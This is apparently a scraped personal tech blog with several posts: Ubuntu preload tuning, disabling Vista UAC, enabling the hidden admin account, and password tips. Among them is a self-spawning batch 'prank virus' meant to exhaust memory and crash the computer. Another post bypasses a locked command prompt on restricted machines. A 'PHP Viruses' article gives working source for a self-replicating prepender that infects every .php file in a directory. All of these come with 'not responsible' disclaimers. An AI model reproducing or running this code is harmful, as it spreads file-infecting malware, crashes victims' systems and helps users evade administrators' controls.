Speed up Ubuntu with Preload

This tutorial will explain how to speed up Ubuntu Linux by using preload. First off open up the terminal by going to:

Applications > Accessories > Terminal

Type in:

sudo aptitude install preload

That’s all you have to do. Preload will now run silently in the background of the Ubuntu OS. However, if you want to change the way preload behaves do the following in the terminal:

sudo gedit /etc/preload.conf

You should get an output that looks something like this:

[model]

# cycle:
#
# This is the quantum of time for preload.  Preload performs
# data gathering and predictions every cycle.  Use an even
# number.
#
# Note: Setting this parameter too low will may reduce the
# system performance and stability.
#
# unit: seconds
# default: 20
#
cycle = 20

# usecorrelation:
#
# Whether correlation coefficient should be used in the prediction
# algorithm.  There are arguments both for and against using it.
# Currently it’s believed that using it results in more accurate
# prediction.  The option may be removed in the future.
#
# default: true
usecorrelation = true

# minsize:
#
# Minimum sum of the length of maps of the process for
# preload to consider tracking the application.
#
# Note: Setting this parameter too high will make preload less
# effective, while setting it too low will make it eat
# quadratically more resources, as it tracks more processes.
#
# unit: bytes
# default: 2000000
#
minsize = 2000000

#
# The following control how much memory preload is allowed to use
# for preloading in each cycle.  All values are percentages and are
# clamped to -100 to 100.
#
# The total memory preload uses for prefetching is then computed using
# the following formulae:
#
#         max (0, TOTAL * memtotal + FREE * memfree) + CHACED * memcached
# where TOTAL, FREE, and CACHED are the respective values read at
# runtime from /proc/meminfo.
#

# memtotal: precentage of total memory
#
# unit: signed_integer_percent
# default: -10
#
memtotal = -10

# memfree: precentage of free memory
#
# unit: signed_integer_percent
# default: 100
#
memfree = 100

# memcached: precentage of cached memory
#
# unit: signed_integer_percent
# default: 30
#
memcached = 30

###########################################################################

[system]

# doscan:
#
# Whether preload should monitor running processes and update its
# model state.  Normally you do want that, that’s all preload is
# about, but you may temporarily want to turn it off for various
# reasons like testing and only make predictions.  Note that if
# scanning is off, predictions are made based on whatever processes
# have been running when preload started and the list of running
# processes is not updated at all.
#
# default: true
doscan = true

# dopredict:
#
# Whether preload should make prediction and prefetch anything off
# the disk.  Quite like doscan, you normally want that, that’s the
# other half of what preload is about, but you may temporarily want
# to turn it off, to only train the model for example.  Note that
# this allows you to turn scan/predict or or off on the fly, by
# modifying the config file and signalling the daemon.
#
# default: true
dopredict = true

# autosave:
#
# Preload will automatically save the state to disk every
# autosave period.  This is only relevant if doscan is set to true.
# Note that some janitory work on the model, like removing entries
# for files that no longer exist happen at state save time.  So,
# turning off autosave completely is not advised.
#
# unit: seconds
# default: 3600
#
autosave = 3600

# mapprefix:
#
# A list of path prefixes that controll which mapped file are to
# be considered by preload and which not.  The list items are
# separated by semicolons.  Matching will be stopped as soon as
# the first item is matched.  For each item, if item appears at
# the beginning of the path of the file, then a match occurs, and
# the file is accepted.  If on the other hand, the item has a
# exclamation mark as its first character, then the rest of the
# item is considered, and if a match happens, the file is rejected.
# For example a value of !/lib/modules;/ means that every file other
# than those in /lib/modules should be accepted.  In this case, the
# trailing item can be removed, since if no match occurs, the file is
# accepted.  It’s advised to make sure /dev is rejected, since
# preload doesn’t special-handle device files internally.
#
# default: (empty list, accept all)
mapprefix = /usr;/lib;!/

# exeprefix:
#
# The syntax for this is exactly the same as for mapprefix.  The only
# difference is that this is used to accept or reject binary exectuable
# files instead of maps.
#
# default: (empty list, accept all)
exeprefix = !/usr/sbin;!/usr/local/sbin;/usr;!/

If you edit the preload.conf file you will need to restart preload before the changes actually take affect on your system. That’s all there is to it.

Howto make a prank virus

WARNING: I am not responsible for any harm caused by this tutorial. While this is harmless to MOST computers it may be too hard on some older computers.

Open up notepad and type:

start virus.bat

virus.bat

Save this as virus.bat

This will keep opening up command prompt windows until the computer runs out of memory and crashes. Most computers will recover simply by restarting. I am not responsible for any damage caused by this. Please don’t try this unless you know what your doing and understand that there is a risk involved.

Open a command prompt on a restricted Computer

Warning: I am not responsible for how you use this information!

Sometimes it is necessary to be able to open the command prompt on a windows computer that you do not have administrative rights on and that the command prompt is locked on. Doing so is very easy. Simply open up notepad and type the following:

command.com

Save it as cmd.bat and open the file. This will open up a command prompt window

Open Source

I just love open source software and am a large supporter of opensource. For this reason I will be making a series of posts regarding open source topics.

AlienGUIse

If wout want your Windows computer to look something like this:

Then you need to download the AlienGUIse program from alienware. The Mac like bar at the bottom of the screen is another program that I will write about later…….

How to disable Vista UAC (REGEDIT Version)

Here is how to disable the VISTA UAC by editing the registry.

go to start->run and type REGEDIT
go to :

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System

Locate the following DWORD value:
EnableLUA
change its value to 0
close the registry and reboot.

How to disable Vista UAC (MSCONFIG Version)

Ifyou are like me the constant popups in Vista that ask for permission to
follow through with an action drives you absolutely nuts! Here is how
to disable it:

go to start->run and type MSCONFIG
Click on the tools tab and scroll down to Disable UAC. You want to click this line.
Push the “launch” button
A CMD (Command prompt) will open. Once the command completes close this window.
Close REGEDIT and reboot your PC.

The UAC is now disabled

PHP Viruses

WARNING: THIS IS FOR EDUCATIONAL PURPOSES ONLY! I AM NOT RESPONSIBLE FOR HOW YOU USE THIS INFORMATION!!!!!
0) Intro Words
PHP, abbreviate: ‘Hypertext Preprocessor’, is a very common script language for the world-wide-web. You’re possible to do nearly everthing internet related with that language. That means, you’re also able to make viruses for it. The first virus for PHP, PHP.Pirus by MaskBits/VXI, was done in October 2000, and was released in 29A#5. It was no real virus, moreover a companion. It writes to every PHP-file in the current directory a line, which let the victim run the virus. But the host doesn’t contain the virus. After searching something about PHP viruses I found out that there is no high-tech PHP virus so far out, because all the virus I could find are rips of PHP.Pirus (useing the same prinzip). That was my inspiration in writing such an article. I wanted to make something totally new, and I guess I had success. I tested every source with PHP 4.3.3, and everthing worked fine. Now go on reading this and learn something about PHP viruses!

1) File Infection
That’s maybe the most important thing, when you want to make a PHP virus, therefor I want to explain you, how you can infect files with PHP. It should be no problme to understand the examples, because I tried it to make as simple as possible. When the article was written (autumn 2003), there was no real file infector out there. The only interesting PHP virus so far is MaskBits’ PHP.Pirus, which don’t infect files, but use the command ‘include’ that the virus is executed in every PHP file in the current dir. You may think ‘Why does he tell me this?”. I don’t know, just for fun . Now let me explain you how to infect files.

a) Prepending
A prepender copies it’s code infront of the victim’s code, therefor it will be executed before the victim. That’s the main idea of this kind of infection. But there are some other important things you have to note: To get the virus out of the file, you need any information about where the virus is. In my example the virus uses the first 391 bytes. Next important thing is, that you must not infect a file two times. What do to against that? Check, if the file if already infected. In the following example the virus searchs in the first 13 bytes (in an infected file it’s this code: ‘
PHP Prepender Virus Example
$string=fread(fopen(__FILE__,’r'), 391);
$curdir=opendir(‘.’);
while ($file = readdir($curdir))
{
if (strstr($file, ‘.php’))
{
$victim=fopen($file, ‘r+’);
if (!strstr(fread($victim, 13), ‘SPTH’))
{
rewind($victim);
fwrite($victim, $string.fread($victim, filesize($file));
}
fclose($victim);
}
}
closedir($curdir);
?>

As this is a real easy virus, you should understand it quickly while looking at it. Now i’m going to give you the most important things the example does:

Reading the first 391 bytes (which is exactly the virus size)
Searchs for every .PHP file in the current directory
If not infected, reading the victim

How to activate Vistas secret admin account

Anyone who has used Windows XP knows that the administrator account has full control over everything. One of the pit falls of Vista is that it lacks this power. What most don’t know is that there is a way to get an admin account on vista. You need to open the command prompt. Make sure you run CMD as an administrator:

in the command prompt type this command:
Net user administrator /active:yes

Now you want to change the admin password. To do this type:
Net user administrator password

NOTE: You can change password to anything you want.

Howto choose a strong password

Your passwords allows you access to your personal data while keeping others out. For this reason it is important that you choose strong passwords. If you follow these tips you will have a very strong password:

1. Make you password long. Each character you add to your password makes it many times stronger. Ideally your password should be 12-14 characters long. Most modern systems allows you to input a space in your password. This allows you to use a phrase as your password which is not only stronger, but easier to remember.

2. Use a wide variety of characters. The more different types of characters you use in your password you use the stronger and harder to crack it will be.

3. Don’t just use the common characters. Throw in some lesser used characters to increase the strength of your password.

4. Avoid repeated characters. Try not to include the same character next to itself in the password. For example don’t use 1223, instead use perhaps 1232.

5. Don’t use your login name. Don’t ever make your password the same as your user name. This is often the first thing a hacker will try when trying to crack a password.

6. Don’t use words in the dictionary. Ok, this one may sound odd. There are many tools out there to crack passwords that can crack a dictionary word password in no time flat.

7. Avoid same passwords. In other words, try not to use the same password for other sites. If you do your other information will be compromised if your password is cracked.

8. Don’t use digital storage. Don’t store your password in a digital file. This makes it much easier for a hacker to find.

Assuming you follow these guidelines you will have done everything in your power to help protect your identity and data with your passwords.